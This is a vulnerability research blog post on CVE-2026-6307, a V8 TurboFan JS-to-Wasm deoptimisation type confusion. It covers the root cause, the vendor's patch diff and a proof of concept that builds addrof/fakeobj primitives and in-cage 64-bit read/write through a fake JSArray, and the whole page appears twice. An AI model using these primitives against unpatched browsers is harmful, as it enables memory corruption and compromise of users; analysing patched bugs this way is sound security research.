CVE-2026-6307 (Part 2): Turbofan JS-to-Wasm Deopt Type Confusion

CVE-2026-6307 (Part 2): Turbofan JS-to-Wasm Deopt Type Confusion

May 4, 2026

In Part 1, we went over the background details that are needed to follow along, as well as the trigger specifics of the bug. In Part 2, we’ll go through the relevant code paths, analyze the patch, and develop an in-cage read/write primitive.

Disclaimer

This article has been prepared for educational and informational purposes in the field of cybersecurity.

The vulnerability analyzed (CVE-2026-6307) was publicly identified, is known to the vendor, and has been fully patched in current versions of the affected software (fixed in revision 1b0cbb19f825, released on Tue Mar 31 11:05:12 2026).

The content is intended for information security professionals and does not constitute a functional exploitation guide nor does it provide tools to compromise third-party systems.

Tashita Software Security condemns any use of this information for unlawful purposes.

Unauthorized access to computer systems constitutes a criminal offense under the Spanish Penal Code.

Recap

The trigger needs one optimized JavaScript access site, two Wasm-backed getters for the same property, and a lazy deopt after the Wasm call returns:

  • foo(o)  gives TurboFan one property access site.
  • ProtoForI64.prototype.x points to a Wasm getter returning i64.
  • ProtoForRef.prototype.x points to a Wasm getter returning externref.
  • both getters can be inlined into the same optimized graph with their own JS-to-Wasm continuation frame states.
  • the callback mutates the prototype during the final externref call, so V8 has to deopt after the Wasm call has produced its return value.

On the vulnerable build, those two continuation frame states can compare equal because FrameStateFunctionInfo::operator== ignores JSToWasmFrameStateFunctionInfo
::signature_
. Value numbering can keep one frame state and reuse it for both Wasm calls. The surviving signature is then lowered into the recorded Wasm return kind used by the deoptimizer.

That creates the following primitive:

  • externref -> i64: a JavaScript object returned as externref can be decoded as an i64 BigInt.
  • i64 -> externref: an i64 value whose bits encode a valid V8 tagged value can be decoded as an externref.

The trigger needs one optimized JavaScript access site, two Wasm-backed getters for the same property, and a lazy deopt after the Wasm call returns:

  • foo(o)  gives TurboFan one property access site.
  • ProtoForI64.prototype.x points to a Wasm getter returning i64.
  • ProtoForRef.prototype.x points to a Wasm getter returning externref.
  • both getters can be inlined into the same optimized graph with their own JS-to-Wasm continuation frame states.
  • the callback mutates the prototype during the final externref call, so V8 has to deopt after the Wasm call has produced its return value.

On the vulnerable build, those two continuation frame states can compare equal because FrameStateFunctionInfo::operator==
ignores JSToWasmFrameStateFunctionInfo::
signature_
. Value numbering can keep one frame state and reuse it for both Wasm calls. The surviving signature is then lowered into the recorded Wasm return kind used by the deoptimizer.

That creates the following primitive:

  • externref -> i64: a JavaScript object returned as externref can be decoded as an i64 BigInt.
  • i64 -> externref: an i64 value whose bits encode a valid V8 tagged value can be decoded as an externref.

Root Cause

The root cause is a metadata equality bug in the JS-to-Wasm deopt pipeline. The Wasm call can return the right machine value, while the recovery metadata loses which signature should describe that value after lazy deopt.

  1. JSCallReducer::CanInlineJSToWasmCall allows JS-to-Wasm calls with the return kinds involved in this bug.

The root cause is a metadata equality bug in the JS-to-Wasm deopt pipeline. The Wasm call can return the right machine value, while the recovery metadata loses which signature should describe that value after lazy deopt.

  1. JSCallReducer::CanInlineJSTo
    WasmCall
     allows JS-to-Wasm calls with the return kinds involved in this bug.
if (type != wasm::kWasmI32 && type != wasm::kWasmI64 &&
    type != wasm::kWasmF32 && type != wasm::kWasmF64 &&
    type != wasm::kWasmExternRef) {
  return false;
}
  1. JSInliner::ReduceJSWasmCall creates a JS-to-Wasm continuation frame state and passes it into the inlined wrapper.
  1. JSInliner::ReduceJSWasm
    Call
     creates a JS-to-Wasm continuation frame state and passes it into the inlined wrapper.
Node* continuation_frame_state =
    CreateJSWasmCallBuiltinContinuationFrameState(
        jsgraph(), call_node.context(), call_node.frame_state(), sig);

BuildInlinedJSToWasmWrapper(..., continuation_frame_state, ...);
  1. CreateBuiltinContinuationFrameStateCommon stores the Wasm signature in JSToWasmFrameStateFunctionInfo.
  1. CreateBuiltinContinuationFrame
    StateCommon
     stores the Wasm signature in JSToWasmFrameStateFunctionInfo.
signature ? common->CreateJSToWasmFrameStateFunctionInfo(
                frame_type, parameter_count, 0, shared, signature)
          : common->CreateFrameStateFunctionInfo(...);
  1. CommonOperatorBuilder::FrameState places the resulting FrameStateInfo into the operator parameter.
  1. CommonOperatorBuilder::FrameState
    places the resulting FrameStateInfo into the operator parameter.
FrameStateInfo state_info(bailout_id, state_combine, function_info);
return zone()->New<Operator1<FrameStateInfo>>(..., state_info);
  1. For FrameState nodes, equality reaches FrameStateInfo::operator==, then FrameStateFunctionInfo::operator==. In the vulnerable version, the base comparison never checks the JS-to-Wasm signature_.
  1. For FrameState nodes, equality reaches FrameStateInfo::operator==, then FrameStateFunctionInfo::
    operator==
    . In the vulnerable version, the base comparison never checks the JS-to-Wasm signature_.
return lhs.type() == rhs.type() &&
       lhs.parameter_count() == rhs.parameter_count() &&
       // ...
       lhs.bytecode_array().equals(rhs.bytecode_array());

The omitted field is the subclass-owned Wasm signature:

class JSToWasmFrameStateFunctionInfo : public FrameStateFunctionInfo {
 public:
  ...
  const wasm::CanonicalSig* signature() const { return signature_; }

 private:
  const wasm::CanonicalSig* const signature_;
};

That omission lets two JS-to-Wasm frame states compare equal even when they carry different Wasm return signatures.

  1. During JS-to-Wasm inlining (V8.TFJSWasmInlining), with TurboFan tracing enabled (--trace-turbo --trace-turbo-filter=foo --trace-turbo-reduction), the graph shows the pre-merge state: two inlined Wasm calls, each with its own JS-to-Wasm continuation frame state. Call #97 uses continuation #59; call #135 uses continuation #106.
Turbofan graph of a function that branches into two calls, each fed by its own FrameState node.
  1. ValueNumberingReducer::Reduce can replace a node when NodeProperties::Equals finds an equivalent existing node.
if (NodeProperties::Equals(other_entry, node)) {
  Reduction reduction = ReplaceIfTypesMatch(node, other_entry);

The vulnerable trace records that exact replacement:

Replacement of #105: StateValues[dense] with #57: StateValues[dense] by reducer ValueNumberingReducer
Replacement of #106: FrameState[JS_TO_WASM_BUILTIN_CONTINUATION_FRAME, 757, Ignore](57, 57, 57, 4, 3, 17) with #59: FrameState[JS_TO_WASM_BUILTIN_CONTINUATION_FRAME, 757, Ignore](57, 57, 57, 4, 3, 17) by reducer ValueNumberingReducer
Failure: expected <Object({tag:"sentinel"})> found <1773838794685n>
  1. After early optimization (V8.TFEarlyOptimization), #106 is gone and both inlined Wasm calls use #59.
Turbofan graph in which calls 97 and 135 share a single FrameState node.
  1. Later, instruction selection reads the surviving function_info->signature() into a JSToWasmFrameStateDescriptor.
return zone->New<JSToWasmFrameStateDescriptor>(
    ..., function_info->signature());
  1. JSToWasmFrameStateDescriptor reduces the signature to a return kind, and code generation records that kind in the deopt translation.
return_kind_(wasm::WasmReturnTypeFromSignature(wasm_signature)) {}

translations_.BeginJSToWasmBuiltinContinuationFrame(
    ..., js_to_wasm_descriptor->return_kind());
  1. On lazy deopt, Deoptimizer::TranslatedValueForWasmReturnKind uses that return kind to decide how to read the return register.
  1. On lazy deopt, Deoptimizer::TranslatedValue
    ForWasmReturnKind
     uses that return kind to decide how to read the return register.
case wasm::kI64:
  return TranslatedValue::NewInt64ToBigInt(...);
case wasm::kRefNull:
case wasm::kRef:
  return TranslatedValue::NewTagged(...);

If the merged frame state carries the wrong signature, the deoptimizer reads the right register with the wrong interpretation.

The PoC

We start by building two Wasm getters with the same parameter shape and different return types. Both getters call back into JavaScript before returning, then read a mutable Wasm global:

function makeWasmGetters(callback) {
    const builder = new WasmModuleBuilder();
    const callbackIndex = builder.addImport('env', 'callback', kSig_v_v);
    const i64Global =
        builder.addGlobal(kWasmI64, true, false).exportAs('g_i64');
    const refGlobal =
        builder.addGlobal(kWasmExternRef, true, false).exportAs('g_ref');

    builder.addFunction('return_i64', kSig_l_v)
        .addBody([
            kExprCallFunction, callbackIndex,
            kExprGlobalGet, i64Global.index,
        ])
        .exportFunc();

    builder.addFunction('return_ref', kSig_r_v)
        .addBody([
            kExprCallFunction, callbackIndex,
            kExprGlobalGet, refGlobal.index,
        ])
        .exportFunc();

    return builder.instantiate({ env: { callback } }).exports;
}

The callback arms lazy deopt. It runs before the selected Wasm getter returns. When armDeopt is set, the callback mutates the prototype for the side we want to deopt through:

const deoptPrototype =
    config.deoptSide === 'i64' ? I64Receiver.prototype : RefReceiver.prototype;

const exports = makeWasmGetters(() => {
    if (armDeopt) {
        deoptPrototype.deopt_marker = 1;
    }
});

Both receiver shapes expose the same JavaScript property name, x, but each getter calls a Wasm export with a different return type:

Object.defineProperty(
    I64Receiver.prototype, 'x', { get: exports.return_i64 });
Object.defineProperty(
    RefReceiver.prototype, 'x', { get: exports.return_ref });

This gives TurboFan one optimized property access site:

const accessX =
    new Function('o', `return o.x; // cve-2026-6307-${++functionId}`);

The warmup makes that single access site see both receiver shapes. The optimizing call selects which side’s continuation frame state survives when value numbering merges the two states. The final call arms deopt and enters the side we want to decode with the surviving return kind:

%PrepareFunctionForOptimization(accessX);
for (let i = 0; i < 20; ++i) {
    for (const side of config.warmupOrder) {
        accessX(receivers[side]);
    }
}

%OptimizeFunctionOnNextCall(accessX);
accessX(receivers[config.optimizeSide]);

armDeopt = true;
return accessX(receivers[config.deoptSide]);

addrof uses the externref -> i64 direction. The final Wasm call returns a JavaScript object reference, but lazy deopt decodes the return register as i64, so we get back a BigInt:

function addrof(object) {
    return trigger({
        refValue: object,
        i64Value: 0n,
        warmupOrder: ['i64', 'ref'],
        optimizeSide: 'i64',
        deoptSide: 'ref',
    });
}

fakeobj uses the i64 -> externref direction. The final Wasm call returns an i64 whose bits are a valid tagged object value, but lazy deopt decodes it as externref, so we get back the object reference:

function fakeobj(taggedValue) {
    return trigger({
        refValue: { dummy: true },
        i64Value: taggedValue,
        warmupOrder: ['ref', 'i64'],
        optimizeSide: 'ref',
        deoptSide: 'i64',
    });
}

The next step uses those primitives to craft a fake JSArray. The fake JSArray header and the fake FixedDoubleArray header live inside victimArray‘s double-elements storage:

victimArray[0] = pack32(PACKED_DOUBLE_JSARRAY_MAP, EMPTY_FIXED_ARRAY);
victimArray[1] = pack32(fakeElementsTag, fakeLengthSmi);
victimArray[2] = pack32(FIXED_DOUBLE_ARRAY_MAP, fakeLengthSmi);

const fakeArray = fakeobj(fakeArrayTag);

Once fakeArray exists, fakeArray[0] becomes the read/write slot. Before each access, setFakeElementsAt updates the fake array’s elements field to the target address:

function setFakeElementsAt(targetAddr) {
    const elementsAddr =
        (BigInt.asUintN(32, BigInt(targetAddr)) - 8n) & 0xffffffffn;
    victimArray[1] = pack32(elementsAddr | 1n, fakeLengthSmi);
}

cage_read64 sets the elements field and reads fakeArray[0]:

function cage_read64(addr) {
    const targetAddr = BigInt.asUintN(32, BigInt(addr));
    setFakeElementsAt(targetAddr);
    return f64ToI64(fakeArray[0]);
}

cage_write64 sets the elements field and writes fakeArray[0]:

function cage_write64(addr, value) {
    const targetAddr = BigInt.asUintN(32, BigInt(addr));
    setFakeElementsAt(targetAddr);
    fakeArray[0] = i64ToF64(BigInt.asIntN(64, BigInt(value)));
}

Output:

[*] building addrof/fakeobj
[+] addrof(target): 0x33110107f08d
[+] fakeobj(addrof(target)) === target

[*] crafting fake JSArray
[+] cage_read64(&victimArray[3]): 0x402abd70a3d70a3d
[+] cage_write64(&victimArray[3]): 0x1337133713371337

[done] addrof/fakeobj/read64/write64

The Patch

The fix is CL 7735261.

The main change is in FrameStateFunctionInfo::operator==:

diff --git a/src/compiler/frame-states.cc b/src/compiler/frame-states.cc
index 7c15107243d..5312f07b5fe 100644
--- a/src/compiler/frame-states.cc
+++ b/src/compiler/frame-states.cc
@@ -37,11 +37,12 @@ std::ostream& operator<<(std::ostream& os, OutputFrameStateCombine const& sc) {
 bool operator==(FrameStateFunctionInfo const& lhs,
                 FrameStateFunctionInfo const& rhs) {
 #if V8_HOST_ARCH_X64
-// If this static_assert fails, then you've probably added a new field to
-// FrameStateFunctionInfo. Make sure to take it into account in this equality
-// function, and update the static_assert.
+// If these static_asserts fail, then you've probably added a new field to
+// FrameStateFunctionInfo or JSToWasmFrameStateFunctionInfo. Make sure to
+// take it into account in this function, and update the static_assert.
 #if V8_ENABLE_WEBASSEMBLY
   static_assert(sizeof(FrameStateFunctionInfo) == 40);
+  static_assert(sizeof(JSToWasmFrameStateFunctionInfo) == 48);
 #else
   static_assert(sizeof(FrameStateFunctionInfo) == 32);
 #endif
@@ -52,6 +53,18 @@ bool operator==(FrameStateFunctionInfo const& lhs,
       lhs.wasm_function_index() != rhs.wasm_function_index()) {
     return false;
   }
+
+  // JSToWasmFrameStateFunctionInfo has an additional signature_ field.
+  // Two frame states with different wasm signatures must not compare equal,
+  // otherwise CSE/GVN can merge them and the deoptimizer will use the wrong
+  // signature to materialize the continuation frame.
+  if (lhs.type() == FrameStateType::kJSToWasmBuiltinContinuation &&
+      rhs.type() == FrameStateType::kJSToWasmBuiltinContinuation) {
+    if (static_cast<const JSToWasmFrameStateFunctionInfo&>(lhs).signature() !=
+        static_cast<const JSToWasmFrameStateFunctionInfo&>(rhs).signature()) {
+      return false;
+    }
+  }
 #endif

   return lhs.type() == rhs.type() &&

The important part is the new signature() comparison. Before the patch, two JS-to-Wasm continuation frame states could match on the base FrameStateFunctionInfo fields while still carrying different Wasm return signatures. After the patch, that mismatch returns false, so value numbering cannot reuse one recovery description for the other.

The patch in src/compiler/frame-states.h prevents object slicing. Copying a JSToWasmFrameStateFunctionInfo through the base class would drop fields like signature_:

diff --git a/src/compiler/frame-states.h b/src/compiler/frame-states.h
index 1faaa599bd7..e17798a1a8e 100644
--- a/src/compiler/frame-states.h
+++ b/src/compiler/frame-states.h
@@ -108,6 +108,10 @@ class FrameStateFunctionInfo {
         bytecode_array_(bytecode_array) {
   }

+  // Prevent slicing when copying through base-class references.
+  FrameStateFunctionInfo(const FrameStateFunctionInfo&) = delete;
+  FrameStateFunctionInfo& operator=(const FrameStateFunctionInfo&) = delete;
+
   int local_count() const { return local_count_; }
   uint16_t parameter_count() const { return parameter_count_; }
   uint16_t parameter_count_without_receiver() const {

Keep reading

More in this series

Related research

Learn more about SeekZero, our browser vulnerability research framework, or browse all posts on the Tashita research blog.

CVE-2026-6307 (Part 2): Turbofan JS-to-Wasm Deopt Type Confusion

CVE-2026-6307 (Part 2): Turbofan JS-to-Wasm Deopt Type Confusion

May 4, 2026

In Part 1, we went over the background details that are needed to follow along, as well as the trigger specifics of the bug. In Part 2, we’ll go through the relevant code paths, analyze the patch, and develop an in-cage read/write primitive.

Disclaimer

This article has been prepared for educational and informational purposes in the field of cybersecurity.

The vulnerability analyzed (CVE-2026-6307) was publicly identified, is known to the vendor, and has been fully patched in current versions of the affected software (fixed in revision 1b0cbb19f825, released on Tue Mar 31 11:05:12 2026).

The content is intended for information security professionals and does not constitute a functional exploitation guide nor does it provide tools to compromise third-party systems.

Tashita Software Security condemns any use of this information for unlawful purposes.

Unauthorized access to computer systems constitutes a criminal offense under the Spanish Penal Code.

Recap

The trigger needs one optimized JavaScript access site, two Wasm-backed getters for the same property, and a lazy deopt after the Wasm call returns:

  • foo(o)  gives TurboFan one property access site.
  • ProtoForI64.prototype.x points to a Wasm getter returning i64.
  • ProtoForRef.prototype.x points to a Wasm getter returning externref.
  • both getters can be inlined into the same optimized graph with their own JS-to-Wasm continuation frame states.
  • the callback mutates the prototype during the final externref call, so V8 has to deopt after the Wasm call has produced its return value.

On the vulnerable build, those two continuation frame states can compare equal because FrameStateFunctionInfo::operator== ignores JSToWasmFrameStateFunctionInfo
::signature_
. Value numbering can keep one frame state and reuse it for both Wasm calls. The surviving signature is then lowered into the recorded Wasm return kind used by the deoptimizer.

That creates the following primitive:

  • externref -> i64: a JavaScript object returned as externref can be decoded as an i64 BigInt.
  • i64 -> externref: an i64 value whose bits encode a valid V8 tagged value can be decoded as an externref.

The trigger needs one optimized JavaScript access site, two Wasm-backed getters for the same property, and a lazy deopt after the Wasm call returns:

  • foo(o)  gives TurboFan one property access site.
  • ProtoForI64.prototype.x points to a Wasm getter returning i64.
  • ProtoForRef.prototype.x points to a Wasm getter returning externref.
  • both getters can be inlined into the same optimized graph with their own JS-to-Wasm continuation frame states.
  • the callback mutates the prototype during the final externref call, so V8 has to deopt after the Wasm call has produced its return value.

On the vulnerable build, those two continuation frame states can compare equal because FrameStateFunctionInfo::operator==
ignores JSToWasmFrameStateFunctionInfo::
signature_
. Value numbering can keep one frame state and reuse it for both Wasm calls. The surviving signature is then lowered into the recorded Wasm return kind used by the deoptimizer.

That creates the following primitive:

  • externref -> i64: a JavaScript object returned as externref can be decoded as an i64 BigInt.
  • i64 -> externref: an i64 value whose bits encode a valid V8 tagged value can be decoded as an externref.

Root Cause

The root cause is a metadata equality bug in the JS-to-Wasm deopt pipeline. The Wasm call can return the right machine value, while the recovery metadata loses which signature should describe that value after lazy deopt.

  1. JSCallReducer::CanInlineJSToWasmCall allows JS-to-Wasm calls with the return kinds involved in this bug.

The root cause is a metadata equality bug in the JS-to-Wasm deopt pipeline. The Wasm call can return the right machine value, while the recovery metadata loses which signature should describe that value after lazy deopt.

  1. JSCallReducer::CanInlineJSTo
    WasmCall
     allows JS-to-Wasm calls with the return kinds involved in this bug.
if (type != wasm::kWasmI32 && type != wasm::kWasmI64 &&
    type != wasm::kWasmF32 && type != wasm::kWasmF64 &&
    type != wasm::kWasmExternRef) {
  return false;
}
  1. JSInliner::ReduceJSWasmCall creates a JS-to-Wasm continuation frame state and passes it into the inlined wrapper.
  1. JSInliner::ReduceJSWasm
    Call
     creates a JS-to-Wasm continuation frame state and passes it into the inlined wrapper.
Node* continuation_frame_state =
    CreateJSWasmCallBuiltinContinuationFrameState(
        jsgraph(), call_node.context(), call_node.frame_state(), sig);

BuildInlinedJSToWasmWrapper(..., continuation_frame_state, ...);
  1. CreateBuiltinContinuationFrameStateCommon stores the Wasm signature in JSToWasmFrameStateFunctionInfo.
  1. CreateBuiltinContinuationFrame
    StateCommon
     stores the Wasm signature in JSToWasmFrameStateFunctionInfo.
signature ? common->CreateJSToWasmFrameStateFunctionInfo(
                frame_type, parameter_count, 0, shared, signature)
          : common->CreateFrameStateFunctionInfo(...);
  1. CommonOperatorBuilder::FrameState places the resulting FrameStateInfo into the operator parameter.
  1. CommonOperatorBuilder::FrameState
    places the resulting FrameStateInfo into the operator parameter.
FrameStateInfo state_info(bailout_id, state_combine, function_info);
return zone()->New<Operator1<FrameStateInfo>>(..., state_info);
  1. For FrameState nodes, equality reaches FrameStateInfo::operator==, then FrameStateFunctionInfo::operator==. In the vulnerable version, the base comparison never checks the JS-to-Wasm signature_.
  1. For FrameState nodes, equality reaches FrameStateInfo::operator==, then FrameStateFunctionInfo::
    operator==
    . In the vulnerable version, the base comparison never checks the JS-to-Wasm signature_.
return lhs.type() == rhs.type() &&
       lhs.parameter_count() == rhs.parameter_count() &&
       // ...
       lhs.bytecode_array().equals(rhs.bytecode_array());

The omitted field is the subclass-owned Wasm signature:

class JSToWasmFrameStateFunctionInfo : public FrameStateFunctionInfo {
 public:
  ...
  const wasm::CanonicalSig* signature() const { return signature_; }

 private:
  const wasm::CanonicalSig* const signature_;
};

That omission lets two JS-to-Wasm frame states compare equal even when they carry different Wasm return signatures.

  1. During JS-to-Wasm inlining (V8.TFJSWasmInlining), with TurboFan tracing enabled (--trace-turbo --trace-turbo-filter=foo --trace-turbo-reduction), the graph shows the pre-merge state: two inlined Wasm calls, each with its own JS-to-Wasm continuation frame state. Call #97 uses continuation #59; call #135 uses continuation #106.
Turbofan graph of a function that branches into two calls, each fed by its own FrameState node.
  1. ValueNumberingReducer::Reduce can replace a node when NodeProperties::Equals finds an equivalent existing node.
if (NodeProperties::Equals(other_entry, node)) {
  Reduction reduction = ReplaceIfTypesMatch(node, other_entry);

The vulnerable trace records that exact replacement:

Replacement of #105: StateValues[dense] with #57: StateValues[dense] by reducer ValueNumberingReducer
Replacement of #106: FrameState[JS_TO_WASM_BUILTIN_CONTINUATION_FRAME, 757, Ignore](57, 57, 57, 4, 3, 17) with #59: FrameState[JS_TO_WASM_BUILTIN_CONTINUATION_FRAME, 757, Ignore](57, 57, 57, 4, 3, 17) by reducer ValueNumberingReducer
Failure: expected <Object({tag:"sentinel"})> found <1773838794685n>
  1. After early optimization (V8.TFEarlyOptimization), #106 is gone and both inlined Wasm calls use #59.
Turbofan graph in which calls 97 and 135 share a single FrameState node.
  1. Later, instruction selection reads the surviving function_info->signature() into a JSToWasmFrameStateDescriptor.
return zone->New<JSToWasmFrameStateDescriptor>(
    ..., function_info->signature());
  1. JSToWasmFrameStateDescriptor reduces the signature to a return kind, and code generation records that kind in the deopt translation.
return_kind_(wasm::WasmReturnTypeFromSignature(wasm_signature)) {}

translations_.BeginJSToWasmBuiltinContinuationFrame(
    ..., js_to_wasm_descriptor->return_kind());
  1. On lazy deopt, Deoptimizer::TranslatedValueForWasmReturnKind uses that return kind to decide how to read the return register.
  1. On lazy deopt, Deoptimizer::TranslatedValue
    ForWasmReturnKind
     uses that return kind to decide how to read the return register.
case wasm::kI64:
  return TranslatedValue::NewInt64ToBigInt(...);
case wasm::kRefNull:
case wasm::kRef:
  return TranslatedValue::NewTagged(...);

If the merged frame state carries the wrong signature, the deoptimizer reads the right register with the wrong interpretation.

The PoC

We start by building two Wasm getters with the same parameter shape and different return types. Both getters call back into JavaScript before returning, then read a mutable Wasm global:

function makeWasmGetters(callback) {
    const builder = new WasmModuleBuilder();
    const callbackIndex = builder.addImport('env', 'callback', kSig_v_v);
    const i64Global =
        builder.addGlobal(kWasmI64, true, false).exportAs('g_i64');
    const refGlobal =
        builder.addGlobal(kWasmExternRef, true, false).exportAs('g_ref');

    builder.addFunction('return_i64', kSig_l_v)
        .addBody([
            kExprCallFunction, callbackIndex,
            kExprGlobalGet, i64Global.index,
        ])
        .exportFunc();

    builder.addFunction('return_ref', kSig_r_v)
        .addBody([
            kExprCallFunction, callbackIndex,
            kExprGlobalGet, refGlobal.index,
        ])
        .exportFunc();

    return builder.instantiate({ env: { callback } }).exports;
}

The callback arms lazy deopt. It runs before the selected Wasm getter returns. When armDeopt is set, the callback mutates the prototype for the side we want to deopt through:

const deoptPrototype =
    config.deoptSide === 'i64' ? I64Receiver.prototype : RefReceiver.prototype;

const exports = makeWasmGetters(() => {
    if (armDeopt) {
        deoptPrototype.deopt_marker = 1;
    }
});

Both receiver shapes expose the same JavaScript property name, x, but each getter calls a Wasm export with a different return type:

Object.defineProperty(
    I64Receiver.prototype, 'x', { get: exports.return_i64 });
Object.defineProperty(
    RefReceiver.prototype, 'x', { get: exports.return_ref });

This gives TurboFan one optimized property access site:

const accessX =
    new Function('o', `return o.x; // cve-2026-6307-${++functionId}`);

The warmup makes that single access site see both receiver shapes. The optimizing call selects which side’s continuation frame state survives when value numbering merges the two states. The final call arms deopt and enters the side we want to decode with the surviving return kind:

%PrepareFunctionForOptimization(accessX);
for (let i = 0; i < 20; ++i) {
    for (const side of config.warmupOrder) {
        accessX(receivers[side]);
    }
}

%OptimizeFunctionOnNextCall(accessX);
accessX(receivers[config.optimizeSide]);

armDeopt = true;
return accessX(receivers[config.deoptSide]);

addrof uses the externref -> i64 direction. The final Wasm call returns a JavaScript object reference, but lazy deopt decodes the return register as i64, so we get back a BigInt:

function addrof(object) {
    return trigger({
        refValue: object,
        i64Value: 0n,
        warmupOrder: ['i64', 'ref'],
        optimizeSide: 'i64',
        deoptSide: 'ref',
    });
}

fakeobj uses the i64 -> externref direction. The final Wasm call returns an i64 whose bits are a valid tagged object value, but lazy deopt decodes it as externref, so we get back the object reference:

function fakeobj(taggedValue) {
    return trigger({
        refValue: { dummy: true },
        i64Value: taggedValue,
        warmupOrder: ['ref', 'i64'],
        optimizeSide: 'ref',
        deoptSide: 'i64',
    });
}

The next step uses those primitives to craft a fake JSArray. The fake JSArray header and the fake FixedDoubleArray header live inside victimArray‘s double-elements storage:

victimArray[0] = pack32(PACKED_DOUBLE_JSARRAY_MAP, EMPTY_FIXED_ARRAY);
victimArray[1] = pack32(fakeElementsTag, fakeLengthSmi);
victimArray[2] = pack32(FIXED_DOUBLE_ARRAY_MAP, fakeLengthSmi);

const fakeArray = fakeobj(fakeArrayTag);

Once fakeArray exists, fakeArray[0] becomes the read/write slot. Before each access, setFakeElementsAt updates the fake array’s elements field to the target address:

function setFakeElementsAt(targetAddr) {
    const elementsAddr =
        (BigInt.asUintN(32, BigInt(targetAddr)) - 8n) & 0xffffffffn;
    victimArray[1] = pack32(elementsAddr | 1n, fakeLengthSmi);
}

cage_read64 sets the elements field and reads fakeArray[0]:

function cage_read64(addr) {
    const targetAddr = BigInt.asUintN(32, BigInt(addr));
    setFakeElementsAt(targetAddr);
    return f64ToI64(fakeArray[0]);
}

cage_write64 sets the elements field and writes fakeArray[0]:

function cage_write64(addr, value) {
    const targetAddr = BigInt.asUintN(32, BigInt(addr));
    setFakeElementsAt(targetAddr);
    fakeArray[0] = i64ToF64(BigInt.asIntN(64, BigInt(value)));
}

Output:

[*] building addrof/fakeobj
[+] addrof(target): 0x33110107f08d
[+] fakeobj(addrof(target)) === target

[*] crafting fake JSArray
[+] cage_read64(&victimArray[3]): 0x402abd70a3d70a3d
[+] cage_write64(&victimArray[3]): 0x1337133713371337

[done] addrof/fakeobj/read64/write64

The Patch

The fix is CL 7735261.

The main change is in FrameStateFunctionInfo::operator==:

diff --git a/src/compiler/frame-states.cc b/src/compiler/frame-states.cc
index 7c15107243d..5312f07b5fe 100644
--- a/src/compiler/frame-states.cc
+++ b/src/compiler/frame-states.cc
@@ -37,11 +37,12 @@ std::ostream& operator<<(std::ostream& os, OutputFrameStateCombine const& sc) {
 bool operator==(FrameStateFunctionInfo const& lhs,
                 FrameStateFunctionInfo const& rhs) {
 #if V8_HOST_ARCH_X64
-// If this static_assert fails, then you've probably added a new field to
-// FrameStateFunctionInfo. Make sure to take it into account in this equality
-// function, and update the static_assert.
+// If these static_asserts fail, then you've probably added a new field to
+// FrameStateFunctionInfo or JSToWasmFrameStateFunctionInfo. Make sure to
+// take it into account in this function, and update the static_assert.
 #if V8_ENABLE_WEBASSEMBLY
   static_assert(sizeof(FrameStateFunctionInfo) == 40);
+  static_assert(sizeof(JSToWasmFrameStateFunctionInfo) == 48);
 #else
   static_assert(sizeof(FrameStateFunctionInfo) == 32);
 #endif
@@ -52,6 +53,18 @@ bool operator==(FrameStateFunctionInfo const& lhs,
       lhs.wasm_function_index() != rhs.wasm_function_index()) {
     return false;
   }
+
+  // JSToWasmFrameStateFunctionInfo has an additional signature_ field.
+  // Two frame states with different wasm signatures must not compare equal,
+  // otherwise CSE/GVN can merge them and the deoptimizer will use the wrong
+  // signature to materialize the continuation frame.
+  if (lhs.type() == FrameStateType::kJSToWasmBuiltinContinuation &&
+      rhs.type() == FrameStateType::kJSToWasmBuiltinContinuation) {
+    if (static_cast<const JSToWasmFrameStateFunctionInfo&>(lhs).signature() !=
+        static_cast<const JSToWasmFrameStateFunctionInfo&>(rhs).signature()) {
+      return false;
+    }
+  }
 #endif

   return lhs.type() == rhs.type() &&

The important part is the new signature() comparison. Before the patch, two JS-to-Wasm continuation frame states could match on the base FrameStateFunctionInfo fields while still carrying different Wasm return signatures. After the patch, that mismatch returns false, so value numbering cannot reuse one recovery description for the other.

The patch in src/compiler/frame-states.h prevents object slicing. Copying a JSToWasmFrameStateFunctionInfo through the base class would drop fields like signature_:

diff --git a/src/compiler/frame-states.h b/src/compiler/frame-states.h
index 1faaa599bd7..e17798a1a8e 100644
--- a/src/compiler/frame-states.h
+++ b/src/compiler/frame-states.h
@@ -108,6 +108,10 @@ class FrameStateFunctionInfo {
         bytecode_array_(bytecode_array) {
   }

+  // Prevent slicing when copying through base-class references.
+  FrameStateFunctionInfo(const FrameStateFunctionInfo&) = delete;
+  FrameStateFunctionInfo& operator=(const FrameStateFunctionInfo&) = delete;
+
   int local_count() const { return local_count_; }
   uint16_t parameter_count() const { return parameter_count_; }
   uint16_t parameter_count_without_receiver() const {

Keep reading

More in this series

Related research

Learn more about SeekZero, our browser vulnerability research framework, or browse all posts on the Tashita research blog.